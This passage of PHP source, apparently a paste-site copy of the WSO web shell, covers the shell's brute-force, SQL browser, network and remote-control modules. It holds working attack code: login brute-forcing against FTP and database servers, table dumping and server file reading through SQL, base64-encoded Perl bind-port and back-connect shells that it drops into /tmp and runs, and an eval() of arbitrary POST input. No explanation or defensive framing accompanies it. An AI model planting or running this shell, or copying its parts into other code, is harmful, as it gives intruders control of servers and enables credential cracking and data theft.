  1362.                     for ($i = strlen($line[0]) - 1; $i >= 0; --$i) $tmp.= $line[0][$i];
  1363.                     ++$attempts;
  1364.                     if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp))
  1365.                         {
  1366.                         $success++;
  1367.                         echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
  1368.                         }
  1369.                     }
  1370.                 }
  1371.             }
  1372.         elseif ($_POST['type'] == 2)
  1373.             {
  1374.             $temp = @file($_POST['dict']);
  1375.             if (is_array($temp))
  1376.             foreach($temp as $line)
  1377.                 {
  1378.                 $line = trim($line);
  1379.                 ++$attempts;
  1380.                 if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line))
  1381.                     {
  1382.                     $success++;
  1383.                     echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br />';
  1384.                     }
  1385.                 }
  1386.             }
  1387.  
  1388.         echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br />";
  1389.         }
  1390.  
  1391.     echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1392.     echo '</div><br />';
  1393.     wsoFooter();
  1394.     }
  1395.  
  1396. function actionSql()
  1397.     {
  1398.     class DbClass
  1399.  
  1400.         {
  1401.         var $type;
  1402.         var $link;
  1403.         var $res;
  1404.         function DbClass($type)
  1405.             {
  1406.             $this->type = $type;
  1407.             }
  1408.  
  1409.         function connect($host, $user, $pass, $dbname)
  1410.             {
  1411.             switch ($this->type)
  1412.                 {
  1413.             case 'mysql':
  1414.                 if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
  1415.                 break;
  1416.  
  1417.             case 'pgsql':
  1418.                 $host = explode(':', $host);
  1419.                 if (!$host[1]) $host[1] = 5432;
  1420.                 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
  1421.                 break;
  1422.                 }
  1423.  
  1424.             return false;
  1425.             }
  1426.  
  1427.         function selectdb($db)
  1428.             {
  1429.             switch ($this->type)
  1430.                 {
  1431.             case 'mysql':
  1432.                 if (@mysql_select_db($db)) return true;
  1433.                 break;
  1434.                 }
  1435.  
  1436.             return false;
  1437.             }
  1438.  
  1439.         function query($str)
  1440.             {
  1441.             switch ($this->type)
  1442.                 {
  1443.             case 'mysql':
  1444.                 return $this->res = @mysql_query($str);
  1445.                 break;
  1446.  
  1447.             case 'pgsql':
  1448.                 return $this->res = @pg_query($this->link, $str);
  1449.                 break;
  1450.                 }
  1451.  
  1452.             return false;
  1453.             }
  1454.  
  1455.         function fetch()
  1456.             {
  1457.             $res = func_num_args() ? func_get_arg(0) : $this->res;
  1458.             switch ($this->type)
  1459.                 {
  1460.             case 'mysql':
  1461.                 return @mysql_fetch_assoc($res);
  1462.                 break;
  1463.  
  1464.             case 'pgsql':
  1465.                 return @pg_fetch_assoc($res);
  1466.                 break;
  1467.                 }
  1468.  
  1469.             return false;
  1470.             }
  1471.  
  1472.         function listDbs()
  1473.             {
  1474.             switch ($this->type)
  1475.                 {
  1476.             case 'mysql':
  1477.                 return $this->query("SHOW databases");
  1478.                 break;
  1479.  
  1480.             case 'pgsql':
  1481.                 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1482.                 break;
  1483.                 }
  1484.  
  1485.             return false;
  1486.             }
  1487.  
  1488.         function listTables()
  1489.             {
  1490.             switch ($this->type)
  1491.                 {
  1492.             case 'mysql':
  1493.                 return $this->res = $this->query('SHOW TABLES');
  1494.                 break;
  1495.  
  1496.             case 'pgsql':
  1497.                 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1498.                 break;
  1499.                 }
  1500.  
  1501.             return false;
  1502.             }
  1503.  
  1504.         function error()
  1505.             {
  1506.             switch ($this->type)
  1507.                 {
  1508.             case 'mysql':
  1509.                 return @mysql_error();
  1510.                 break;
  1511.  
  1512.             case 'pgsql':
  1513.                 return @pg_last_error();
  1514.                 break;
  1515.                 }
  1516.  
  1517.             return false;
  1518.             }
  1519.  
  1520.         function setCharset($str)
  1521.             {
  1522.             switch ($this->type)
  1523.                 {
  1524.             case 'mysql':
  1525.                 if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
  1526.                   else $this->query('SET CHARSET ' . $str);
  1527.                 break;
  1528.  
  1529.             case 'pgsql':
  1530.                 return @pg_set_client_encoding($this->link, $str);
  1531.                 break;
  1532.                 }
  1533.  
  1534.             return false;
  1535.             }
  1536.  
  1537.         function loadFile($str)
  1538.             {
  1539.             switch ($this->type)
  1540.                 {
  1541.             case 'mysql':
  1542.                 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
  1543.                 break;
  1544.  
  1545.             case 'pgsql':
  1546.                 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
  1547.                 $r = array();
  1548.                 while ($i = $this->fetch()) $r[] = $i['file'];
  1549.                 $this->query('drop table wso2');
  1550.                 return array(
  1551.                     'file' => implode("\n", $r)
  1552.                 );
  1553.                 break;
  1554.                 }
  1555.  
  1556.             return false;
  1557.             }
  1558.  
  1559.         function dump($table, $fp = false)
  1560.             {
  1561.             switch ($this->type)
  1562.                 {
  1563.             case 'mysql':
  1564.                 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
  1565.                 $create = mysql_fetch_array($res);
  1566.                 $sql = $create[1] . ";\n";
  1567.                 if ($fp) fwrite($fp, $sql);
  1568.                   else echo ($sql);
  1569.                 $this->query('SELECT * FROM `' . $table . '`');
  1570.                 $i = 0;
  1571.                 $head = true;
  1572.                 while ($item = $this->fetch())
  1573.                     {
  1574.                     $sql = '';
  1575.                     if ($i % 1000 == 0)
  1576.                         {
  1577.                         $head = true;
  1578.                         $sql = ";\n\n";
  1579.                         }
  1580.  
  1581.                     $columns = array();
  1582.                     foreach($item as $k => $v)
  1583.                         {
  1584.                         if ($v === null) $item[$k] = "NULL";
  1585.                         elseif (is_int($v)) $item[$k] = $v;
  1586.                           else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
  1587.                         $columns[] = "`" . $k . "`";
  1588.                         }
  1589.  
  1590.                     if ($head)
  1591.                         {
  1592.                         $sql.= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ')';
  1593.                         $head = false;
  1594.                         }
  1595.                       else $sql.= "\n\t,(" . implode(", ", $item) . ')';
  1596.                     if ($fp) fwrite($fp, $sql);
  1597.                       else echo ($sql);
  1598.                     $i++;
  1599.                     }
  1600.  
  1601.                 if (!$head)
  1602.                 if ($fp) fwrite($fp, ";\n\n");
  1603.                   else echo (";\n\n");
  1604.                 break;
  1605.  
  1606.             case 'pgsql':
  1607.                 $this->query('SELECT * FROM ' . $table);
  1608.                 while ($item = $this->fetch())
  1609.                     {
  1610.                     $columns = array();
  1611.                     foreach($item as $k => $v)
  1612.                         {
  1613.                         $item[$k] = "'" . addslashes($v) . "'";
  1614.                         $columns[] = $k;
  1615.                         }
  1616.  
  1617.                     $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "\n";
  1618.                     if ($fp) fwrite($fp, $sql);
  1619.                       else echo ($sql);
  1620.                     }
  1621.  
  1622.                 break;
  1623.                 }
  1624.  
  1625.             return false;
  1626.             }
  1627.         };
  1628.     $db = new DbClass($_POST['type']);
  1629.     if ((@$_POST['p2'] == 'download') && (@$_POST['p1'] != 'select'))
  1630.         {
  1631.         $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1632.         $db->selectdb($_POST['sql_base']);
  1633.         switch ($_POST['charset'])
  1634.             {
  1635.         case "Windows-1251":
  1636.             $db->setCharset('cp1251');
  1637.             break;
  1638.  
  1639.         case "UTF-8":
  1640.             $db->setCharset('utf8');
  1641.             break;
  1642.  
  1643.         case "KOI8-R":
  1644.             $db->setCharset('koi8r');
  1645.             break;
  1646.  
  1647.         case "KOI8-U":
  1648.             $db->setCharset('koi8u');
  1649.             break;
  1650.  
  1651.         case "cp866":
  1652.             $db->setCharset('cp866');
  1653.             break;
  1654.             }
  1655.  
  1656.         if (empty($_POST['file']))
  1657.             {
  1658.             ob_start("ob_gzhandler", 4096);
  1659.             header("Content-Disposition: attachment; filename=dump.sql");
  1660.             header("Content-Type: text/plain");
  1661.             foreach($_POST['tbl'] as $v) $db->dump($v);
  1662.             exit;
  1663.             }
  1664.         elseif ($fp = @fopen($_POST['file'], 'w'))
  1665.             {
  1666.             foreach($_POST['tbl'] as $v) $db->dump($v, $fp);
  1667.             fclose($fp);
  1668.             unset($_POST['p2']);
  1669.             }
  1670.           else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1671.         }
  1672.  
  1673.     wsoHeader();
  1674.     echo "
  1675. <h1>Sql browser</h1><div class=content>
  1676. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1677. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1678. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
  1679. <td><select name='type'><option value='mysql' ";
  1680.     if (@$_POST['type'] == 'mysql') echo 'selected';
  1681.     echo ">MySql</option><option value='pgsql' ";
  1682.     if (@$_POST['type'] == 'pgsql') echo 'selected';
  1683.     echo ">PostgreSql</option></select></td>
  1684. <td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>
  1685. <td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>
  1686. <td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
  1687.     $tmp = "<input type=text name=sql_base value=''>";
  1688.     if (isset($_POST['sql_host']))
  1689.         {
  1690.         if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']))
  1691.             {
  1692.             switch ($_POST['charset'])
  1693.                 {
  1694.             case "Windows-1251":
  1695.                 $db->setCharset('cp1251');
  1696.                 break;
  1697.  
  1698.             case "UTF-8":
  1699.                 $db->setCharset('utf8');
  1700.                 break;
  1701.  
  1702.             case "KOI8-R":
  1703.                 $db->setCharset('koi8r');
  1704.                 break;
  1705.  
  1706.             case "KOI8-U":
  1707.                 $db->setCharset('koi8u');
  1708.                 break;
  1709.  
  1710.             case "cp866":
  1711.                 $db->setCharset('cp866');
  1712.                 break;
  1713.                 }
  1714.  
  1715.             $db->listDbs();
  1716.             echo "<select name=sql_base><option value=''></option>";
  1717.             while ($item = $db->fetch())
  1718.                 {
  1719.                 list($key, $value) = each($item);
  1720.                 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
  1721.                 }
  1722.  
  1723.             echo '</select>';
  1724.             }
  1725.           else echo $tmp;
  1726.         }
  1727.       else echo $tmp;
  1728.     echo "</td>
  1729.                 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1730.                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
  1731.             </tr>
  1732.         </table>
  1733.         <script>
  1734.            s_db='" . @addslashes($_POST['sql_base']) . "';
  1735.            function fs(f) {
  1736.                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1737.                    if(f.p1) f.p1.value='';
  1738.                    if(f.p2) f.p2.value='';
  1739.                    if(f.p3) f.p3.value='';
  1740.                }
  1741.            }
  1742.             function st(t,l) {
  1743.                 d.sf.p1.value = 'select';
  1744.                 d.sf.p2.value = t;
  1745.                if(l && d.sf.p3) d.sf.p3.value = l;
  1746.                 d.sf.submit();
  1747.             }
  1748.             function is() {
  1749.                 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1750.                     d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1751.             }
  1752.         </script>";
  1753.     if (isset($db) && $db->link)
  1754.         {
  1755.         echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1756.         if (!empty($_POST['sql_base']))
  1757.             {
  1758.             $db->selectdb($_POST['sql_base']);
  1759.             echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br /><br />";
  1760.             $tbls_res = $db->listTables();
  1761.             while ($item = $db->fetch($tbls_res))
  1762.                 {
  1763.                 list($key, $value) = each($item);
  1764.                 if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
  1765.                 $value = htmlspecialchars($value);
  1766.                 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . "</nobr><br />";
  1767.                 }
  1768.  
  1769.             echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br />File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1770.             if (@$_POST['p1'] == 'select')
  1771.                 {
  1772.                 $_POST['p1'] = 'query';
  1773.                 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
  1774.                 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1775.                 $num = $db->fetch();
  1776.                 $pages = ceil($num['n'] / 30);
  1777.                 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1778.                 echo " of $pages";
  1779.                 if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>&lt; Prev</a>";
  1780.                 if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next &gt;</a>";
  1781.                 $_POST['p3']--;
  1782.                 if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
  1783.                   else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
  1784.                 echo "<br /><br />";
  1785.                 }
  1786.  
  1787.             if ((@$_POST['p1'] == 'query') && !empty($_POST['p2']))
  1788.                 {
  1789.                 $db->query(@$_POST['p2']);
  1790.                 if ($db->res !== false)
  1791.                     {
  1792.                     $title = false;
  1793.                     echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1794.                     $line = 1;
  1795.                     while ($item = $db->fetch())
  1796.                         {
  1797.                         if (!$title)
  1798.                             {
  1799.                             echo '<tr>';
  1800.                             foreach($item as $key => $value) echo '<th>' . $key . '</th>';
  1801.                             reset($item);
  1802.                             $title = true;
  1803.                             echo '</tr><tr>';
  1804.                             $line = 2;
  1805.                             }
  1806.  
  1807.                         echo '<tr class="l' . $line . '">';
  1808.                         $line = $line == 1 ? 2 : 1;
  1809.                         foreach($item as $key => $value)
  1810.                             {
  1811.                             if ($value == null) echo '<td><i>null</i></td>';
  1812.                               else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
  1813.                             }
  1814.  
  1815.                         echo '</tr>';
  1816.                         }
  1817.  
  1818.                     echo '</table>';
  1819.                     }
  1820.                   else
  1821.                     {
  1822.                     echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
  1823.                     }
  1824.                 }
  1825.  
  1826.             echo "<br /></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1827.             if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
  1828.             echo "</textarea><br/><input type=submit value='Execute'>";
  1829.             echo "</td></tr>";
  1830.             }
  1831.  
  1832.         echo "</table></form><br/>";
  1833.         if ($_POST['type'] == 'mysql')
  1834.             {
  1835.             $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1836.             if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1837.             }
  1838.  
  1839.         if (@$_POST['p1'] == 'loadfile')
  1840.             {
  1841.             $file = $db->loadFile($_POST['p2']);
  1842.             echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
  1843.             }
  1844.         }
  1845.       else
  1846.         {
  1847.         echo htmlspecialchars($db->error());
  1848.         }
  1849.  
  1850.     echo '</div>';
  1851.     wsoFooter();
  1852.     }
  1853.  
  1854. function actionNetwork()
  1855.     {
  1856.     wsoHeader();
  1857.     $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1858.     $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1859.     echo "<h1>Network tools</h1><div class=content>
  1860.     <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  1861.     <span>Bind port to /bin/sh [perl]</span><br/>
  1862.     Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1863.     </form>
  1864.     <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  1865.     <span>Back-connect  [perl]</span><br/>
  1866.     Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1867.     </form><br />";
  1868.     if (isset($_POST['p1']))
  1869.         {
  1870.         function cf($f, $t)
  1871.             {
  1872.             $w = @fopen($f, "w") or @function_exists('file_put_contents');
  1873.             if ($w)
  1874.                 {
  1875.                 @fwrite($w, @base64_decode($t));
  1876.                 @fclose($w);
  1877.                 }
  1878.             }
  1879.  
  1880.         if ($_POST['p1'] == 'bpp')
  1881.             {
  1882.             cf("/tmp/bp.pl", $bind_port_p);
  1883.             $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
  1884.             sleep(1);
  1885.             echo "<pre class=ml1>$out\n" . wsoEx("ps aux | grep bp.pl") . "</pre>";
  1886.             unlink("/tmp/bp.pl");
  1887.             }
  1888.  
  1889.         if ($_POST['p1'] == 'bcp')
  1890.             {
  1891.             cf("/tmp/bc.pl", $back_connect_p);
  1892.             $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
  1893.             sleep(1);
  1894.             echo "<pre class=ml1>$out\n" . wsoEx("ps aux | grep bc.pl") . "</pre>";
  1895.             unlink("/tmp/bc.pl");
  1896.             }
  1897.         }
  1898.  
  1899.     echo '</div>';
  1900.     wsoFooter();
  1901.     }
  1902.  
  1903. function actionRC()
  1904.     {
  1905.     if (!@$_POST['p1'])
  1906.         {
  1907.         $a = array(
  1908.             "uname" => php_uname() ,
  1909.             "php_version" => phpversion() ,
  1910.             "wso_version" => WSO_VERSION,
  1911.             "safemode" => @ini_get('safe_mode')
  1912.         );
  1913.         echo serialize($a);
  1914.         }
  1915.       else
  1916.         {
  1917.         eval($_POST['p1']);
  1918.         }
  1919.     }
  1920.  
  1921. if (empty($_POST['a']))
  1922. if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
  1923.   else $_POST['a'] = 'SecInfo';
  1924.  
  1925. if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
  1926. exit;
Add Comment
Please, Sign In to add comment